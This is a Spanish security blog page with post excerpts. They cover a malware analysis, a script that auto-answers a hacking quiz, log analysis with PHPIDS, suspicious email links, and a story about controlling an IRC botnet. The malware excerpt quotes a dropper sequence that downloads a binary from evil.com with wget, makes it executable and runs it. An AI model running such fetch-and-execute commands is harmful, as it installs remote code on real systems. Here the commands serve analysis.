domingo, 19 de octubre de 2014

Set execution bit without chmod: A malware trick

Sucedió una vez, mientras analizaba por entretenimiento una muestra de malware para dispositivos embebidos, que encontré una secuencia de comandos bastante curiosa:

cd /var/run
cp /bin/cp evil
wget http://evil.com/evil -O evil
chmod +x evil
./evil

El propósito de cada línea, independientemente de las demás, está claro. Sin embargo, lo que me resultaba desconcertante era el comando "cp" ¿Para qué el malware crea una copia de "/bin/cp" si luego la sobrescribe inmediatamente?

sábado, 23 de agosto de 2014

¿Cómo ganar en Game of Hacks?

¿Ya vieron éste juego? http://www.gameofhacks.com/game

Yo me animé a probarlo y estuve un rato respondiendo preguntas contra reloj lo más rápido que podía para alcanzar un buen ranking. Después de intentar varias veces me di cuenta que las preguntas eran repetitivas y que las alternativas no cambiaban ni siquiera de orden. Y, puesto que a esas alturas yo ya respondía de forma mecánica, me propuse otro tipo de reto: automatizar la resolución del cuestionario.

Usando el inspector de Firefox y algo de código javascript (JQuery) he llegado a estar en el primer puesto xD

Fig. 1 - Top 10 de Game of Hacks (23/08/2014 21:30 GMT -5)

Lo único que tengo que hacer es copiar el siguiente código en la consola del inspector y luego llamar a la función "resolve()" cada vez que me aparece una pregunta.

function resolve() {
    var ans = $('.answer');
    var code = $('.board-quest-body > pre:nth-child(1) > code:nth-child(2)').html();    
    if (code.search('disp\\.forward\\(request, response\\);') >= 0) {ans[0].click();}
    if (code.search('knockout\\.js') >= 0) { ans[2].click(); }
    if (code.search('SQLCHAR') >= 0) { ans[2].click(); }
    if (code.search('int  isAdmin = 0;') >= 0) { ans[1].click(); }
    if (code.search('writeToFile\\(path\\);') >= 0) { ans[0].click(); }
    if (code.search('unserialize\\(base64_decode') >= 0) { ans[0].click(); }
    if (code.search('creditCardNumberFextField') >= 0) { ans[3].click(); }
    if (code.search('char name\\[64\\];') >= 0) { ans[2].click(); }
    if (code.search('ldap_search\\(\\$ds, \\$dn, \\$dn, \\$justthese\\);') >= 0) { ans[0].click(); }
}

Ahora puedes decirme tramposo si quieres, pero es un reto de hacking así que en mi opinión todo se vale xD

Un saludo.

sábado, 16 de agosto de 2014

Identificar ataques desde el log de Apache con PHPIDS

Pues eso... ¿Quién no ha revisado los logs de Apache después de un ataque web? Yo suelo tirar de "grep" como comenté en algún post anterior. Lo malo es que ¿Y si no "grepeo" el string correcto? A veces hecho de menos alguna herramienta sencilla que revise los logs, reconozca ataques y me de la info necesaria para seguir tirando de la madeja... Algo como la fusión entre un parser de logs y un IDS. Y sí, de eso es lo que va esta entrada...

jueves, 19 de junio de 2014

Los correos de tu banco o AFP podrían no ser tan privados

Una mañana como cualquier otra llegó a mi correo un mensaje de cierta empresa con el típico "spam" sobre la última gran tontería que se les ha ocurrido para sacarte dinero. Abrí el correo y busqué en las letras pequeñas algún link para darme de baja o similar. Para mi sorpresa, cuando lo encontré, noté que la URL a la que dirigía era de un dominio que no pertenecía a la empresa que supuestamente me había enviado el correo. El foco de alerta naranja se encendió inmediatamente y me dispuse a examinar el link y descartar algún intento de phishing (por supuesto, con la mascarilla, los guantes y la bata blanca puestos).

sábado, 31 de mayo de 2014

Una historia de hackers [Parte IV]

Esta es la última parte de un relato que inicié hace ya mucho tiempo. Hay muchos detalles que por mi mala memoria ya no recuerdo con exactitud. Sin embargo trataré de relatarlo lo más fielmente posible.

Puedes leer los posts anteriores en estos links:

Una historia de hackers [Parte IV]

Yo llegando nuevamente tarde al trabajo. La noche anterior me había quedado hasta altas horas de la madrugada jugando con la botnet del hacker.

Luego de saludar a todos mis compañeros como de costumbre, les conté lo que había aprendido sobre la botnet y como controlar los bots mediante mensajes privados en el IRC. El tema les interesó, no todos los días encuentras una botnet IRC por ahí. Empezamos a conversar sobre qué hacer con la botnet ahora que podíamos controlarla.